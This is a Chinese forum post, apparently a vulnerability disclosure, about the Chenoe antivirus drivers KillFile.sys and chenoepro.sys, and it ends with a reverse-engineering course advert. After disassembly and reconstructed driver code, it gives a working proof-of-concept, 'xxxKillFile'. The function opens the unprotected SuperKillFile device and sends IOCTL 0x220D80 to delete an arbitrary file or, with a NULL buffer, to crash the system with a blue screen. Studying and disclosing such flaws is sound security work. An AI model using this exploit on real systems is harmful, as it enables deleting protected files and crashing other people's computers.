今天安装奇诺反病毒软件看了看,漏洞挺多的。
奇诺安装好后,会在安装目录下释放两个驱动:KillFile.sys和chenoepro.sys,一个是用来强行杀文件的(通过自己发IRP实现),一个是用来自我保护的(通过inline hook NtOpenProcess实现)。
先看看KillFile.sys驱动,该驱动的IRP_MJ_CREATE和IRP_MJ_CLOSE派遣例程如下:
push ebp
mov ebp, esp
mov eax, [ebp+Irp]
mov dword ptr [eax+18h], 0
xor dl, dl ; PriorityBoost
mov ecx, [ebp+Irp] ; Irp
call ds:IofCompleteRequest
xor eax, eax
pop ebp
retn 8
NTSTATUS MyDeviceIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
HANDLE hFile;
ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
PWSTR *ppwcsFileName = (PCWSTR *)Irp->AssociatedIrp.SystemBuffer;
if ( code == 0x220D80 ) {
// 可以看出,DeviceIoControl的lpInBuffer是个指向文件名缓冲区地址的指针……
// 汗,竟然敢这么做……
hFile = MyCreateFile(*ppwcsFileName, FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE);
if ( hFile ) {
MyDeleteFile(hFile); //通过发IRP实现
ZwClose(hFile);
DbgPrint("succeed!\n");
}
}
// 无论如何都返回失败,所以不用判断 DeviceIoControl 的返回值了
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
IofCompleteRequest(Irp, 0);
return STATUS_INVALID_DEVICE_REQUEST;
}
// by Fypher
int xxxKillFile(int usage) {
HANDLE hDevice;
DWORD dwRet;
// chenoe 的 KillFile.sys 驱动没有对打开 SuperKillFile 设备的进程进行过滤!
hDevice = CreateFile("\\\\.\\SuperKillFile", 0, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
return 0;
if (usage == 1) {
// 漏洞利用1:删文件后门。
PWSTR pwcsFileName = L"\\??\\C:\\test.txt";
DeviceIoControl(hDevice, 0x220D80, &pwcsFileName, sizeof(pwcsFileName), NULL, 0, &dwRet,
NULL);
CloseHandle(hDevice);
return 1;
} else if (usage == 2) {
// 漏洞利用2:Blue Screen. ^_^
DeviceIoControl(hDevice, 0x220D80, NULL, 0, NULL, 0, &dwRet, NULL);
CloseHandle(hDevice);
return 2;
} else {
CloseHandle(hDevice);
return 0;
}
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)